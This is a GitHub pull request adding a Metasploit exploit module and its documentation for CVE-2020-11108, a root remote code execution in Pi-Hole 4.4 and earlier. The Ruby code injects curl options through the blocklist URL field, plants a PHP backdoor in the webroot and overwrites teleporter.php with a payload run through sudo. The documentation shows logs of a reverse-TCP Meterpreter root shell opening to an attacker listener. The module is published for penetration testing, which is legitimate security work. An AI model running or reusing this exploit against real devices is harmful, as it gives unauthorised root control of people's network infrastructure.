Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Pi-Hole <= 4.4 root RCE CVE-2020-11108 #13445

Merged
merged 10 commits into from
May 18, 2020
Merged
Show file tree
Hide file tree
Changes from 7 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
138 changes: 138 additions & 0 deletions documentation/modules/exploit/unix/http/pihole_blocklist_exec.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,138 @@
## Vulnerable Application

This exploits a command execution in Pi-Hole <= 4.4. A new blocklist is added, and then an
update is forced (gravity) to pull in the blocklist content. PHP content is then written
to a file within the webroot.

Phase 1 writes a sudo pihole command to launch teleporter, effectively running a priv esc.

Phase 2 writes our payload to `teleporter.php`, overwriting, the content.

Lastly, the phase 1 PHP file is called in the web root, which launches
our payload in `teleporter.php` with root privileges.

A more detailed writeup is available from the [original author](https://frichetten.com/blog/cve-2020-11108-pihole-rce/).

Due to encodings, a local web server is required to be running on port `80`.

Two blocklist is left within Pi-Hole and should be removed.

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: ```use exploit/unix/http/pihole_blocklist_exec```
4. Do: ```set srvhost [IP]```
5. Do: ```set rhost [IP]```
6. Do: ```run```
7. You should get a root shell.

## Options

## Scenarios

### Pi-Hole 4.3.2 on Ubuntu 18.04

```
[*] Processing pihole.rb for ERB directives.
resource (pihole.rb)> use exploit/unix/http/pihole_blocklist_exec
resource (pihole.rb)> set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
resource (pihole.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (pihole.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (pihole.rb)> set srvhost 1.1.1.1
srvhost => 1.1.1.1
resource (pihole.rb)> set srvport 80
srvport => 80
resource (pihole.rb)> set verbose true
verbose => true
resource (pihole.rb)> exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 1.1.1.1:4444
msf5 exploit(unix/http/pihole_blocklist_exec) > [+] Version Detected: 4.3.2
[*] Using URL: http://1.1.1.1:80/
[*] Using cookie: PHPSESSID=45abdcp4rsc9bpi9tchi88ejnn;
[*] Using token: WzmrFbksWxIbtuSVeyrf8yv9o541UdhueLN+BRXfUmY=
[*] Adding backdoor reference
[*] Forcing gravity pull
[*] (1/2) Sending priv esc trigger
[*] Adding root reference
[*] Forcing gravity pull
[*] (2/2) Sending root payload
[*] Popping root shell
[*] Sending stage (38288 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:57982) at 2020-05-12 22:30:38 -0400
[+] Deleted cdJWzln.php
[*] Server stopped.

msf5 exploit(unix/http/pihole_blocklist_exec) > sessions -1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: root (0)
meterpreter > sysinfo
Computer : pihole
OS : Linux pihole 4.15.0-64-generic #73-Ubuntu SMP Thu Sep 12 13:16:13 UTC 2019 x86_64
Meterpreter : php/linux
```

### Pi-Hole 4.4 on Ubuntu 18.04

```
[*] Processing pihole.rb for ERB directives.
resource (pihole.rb)> use exploit/unix/http/pihole_blocklist_exec
resource (pihole.rb)> set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
resource (pihole.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (pihole.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (pihole.rb)> set srvhost 1.1.1.1
srvhost => 1.1.1.1
resource (pihole.rb)> set srvport 80
srvport => 80
resource (pihole.rb)> set verbose true
verbose => true
resource (pihole.rb)> exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 1.1.1.1:4444
msf5 exploit(unix/http/pihole_blocklist_exec) > [+] Version Detected: 4.4
[*] Using URL: http://1.1.1.1:80/
[*] Using cookie: PHPSESSID=uee4gcfsjk5m8289m4uk4rv1du;
[*] Using token: uO4ha1e0fy+Qwvoq14XgslT3Z+VJ/h2RR3qyVT6dPz8=
[*] Adding backdoor reference
[*] Forcing gravity pull
[*] Received GET request. Responding
[*] Sending 2nd gravity update request.
[*] Forcing gravity pull
[*] (1/2) Sending priv esc trigger
[*] Adding root reference
[*] Forcing gravity pull
[*] Received GET request. Responding
[*] Sending 2nd gravity update request.
[*] Forcing gravity pull
[*] (2/2) Sending root payload
[*] Popping root shell
[*] Sending stage (38288 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:48636) at 2020-05-13 20:34:33 -0400
[+] Deleted VRwxqyhs.php

msf5 exploit(unix/http/pihole_blocklist_exec) > sessions -1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: root (0)
meterpreter > sysinfo
Computer : pihole
OS : Linux pihole 4.15.0-99-generic #100-Ubuntu SMP Wed Apr 22 20:32:56 UTC 2020 x86_64
Meterpreter : php/linux
meterpreter >
[*] Blocklists must be removed manually from /admin/settings.php?tab=blocklists
[*] Server stopped.
```
236 changes: 236 additions & 0 deletions modules/exploits/unix/http/pihole_blocklist_exec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,236 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pi-Hole heisenbergCompensator Blocklist OS Command Execution',
'Description' => %q{
This exploits a command execution in Pi-Hole <= 4.4. A new blocklist is added, and then an
update is forced (gravity) to pull in the blocklist content. PHP content is then written
to a file within the webroot. Phase 1 writes a sudo pihole command to launch teleporter,
effectively running a priv esc. Phase 2 writes our payload to teleporter.php, overwriting,
the content. Lastly, the phase 1 PHP file is called in the web root, which launches
our payload in teleporter.php with root privileges.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Nick Frichette' # original PoC, discovery
],
'References' =>
[
['EDB', '48443'],
['EDB', '48442'],
['URL', 'https://frichetten.com/blog/cve-2020-11108-pihole-rce/'],
['URL', 'https://github.com/frichetten/CVE-2020-11108-PoC'],
['CVE', '2020-11108']
],
'Platform' => ['php'],
'Privileged' => true,
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DisclosureDate' => 'May 10 2020',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
# set the default port, and a URI that a user can set if the app isn't installed to the root
register_options(
[
Opt::RPORT(80),
OptPort.new('SRVPORT', [true, 'Web Server Port, must be 80', 80]),
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
]
)
end

def setup
super
@stage = 0
end

def on_request_uri(cli, request)
if request.method == 'GET'
vprint_status('Received GET request. Responding')
send_response(cli, rand_text_alphanumeric(5..10))
return
end

case @stage
when 0
vprint_status('(1/2) Sending priv esc trigger')
send_response(cli, %q{<?php shell_exec("sudo pihole -a -t") ?>})
@stage += 1
when 1
vprint_status('(2/2) Sending root payload')
send_response(cli, payload.encoded)
@stage = 0
else
send_response(cli, rand_text_alphanumeric(5..10))
vprint_status("Server received default request for #{request.uri}")
end
end

def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200

# <b>Pi-hole Version <\/b> v4.3.2 <b>
# <b>Pi-hole Version </b> v4.3.2 <a class="alert-link lookatme" href="https://github.com/pi-hole/pi-hole/releases" target="_blank">(Update available!)</a> <b>
%r{<b>Pi-hole Version\s*</b>\s*v?(?<version>[\d\.]+).*<b>} =~ res.body

if version && Gem::Version.new(version) <= Gem::Version.new('4.4')
vprint_good("Version Detected: #{version}")
return CheckCode::Appears
else
vprint_bad("Version Detected: #{version}")
return CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
CheckCode::Safe
end

def add_blocklist(file, token, cookie)
# according to the writeup, if you have a port, the colon gets messed up in the encoding.
# also, looks like if you have a path (/file.php), it won't trigger either, or the / gets
# messed with.
data = {
'newuserlists' => %(http://#{datastore['SRVHOST']}#" -o #{file} -d "),
'field' => 'adlists',
'token' => token,
'submit' => 'saveupdate'
}

send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'method' => 'POST',
'cookie' => cookie,
'vars_get' => {
'tab' => 'blocklists'
},
'data' => data.to_query
)
end

def update_gravity(cookie)
vprint_status('Forcing gravity pull')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'gravity.sh.php'),
'cookie' => cookie
)
end

def execute_shell(backdoor_name, cookie)
vprint_status('Popping root shell')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', backdoor_name),
'cookie' => cookie
)
end

def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end

if datastore['SRVPORT'] != 80
fail_with(Failure::BadConfig, 'SRVPORT must be set to 80 for exploitation to be successful')
end

if datastore['SRVHOST'] == '0.0.0.0'
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
end

start_service({ 'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => '/'
} })

begin
# get cookie
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
)
cookie = res.get_cookies
h00die marked this conversation as resolved.
Show resolved Hide resolved
print_status("Using cookie: #{cookie}")

# get token
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'cookie' => cookie,
'vars_get' => {
'tab' => 'blocklists'
}
)

# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
# may also include /
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body

unless token
fail_with(Failure::UnexpectedReply, 'Unable to find token')
end
print_status("Using token: #{token}")

# plant backdoor
backdoor_name = "#{rand_text_alphanumeric 5..10}.php"
register_file_for_cleanup backdoor_name
print_status('Adding backdoor reference')
add_blocklist(backdoor_name, token, cookie)

# update gravity
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Okay, Einstein.

update_gravity(cookie)
if @stage == 0
print_status('Sending 2nd gravity update request.')
update_gravity(cookie)
end

# plant root upgrade
print_status('Adding root reference')
add_blocklist('teleporter.php', token, cookie)

# update gravity
update_gravity(cookie)
if @stage == 1
print_status('Sending 2nd gravity update request.')
update_gravity(cookie)
end

# pop shell
execute_shell(backdoor_name, cookie)
print_status("Blocklists must be removed manually from #{normalize_uri(target_uri.path, 'admin', 'settings.php')}?tab=blocklists")
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end

end
end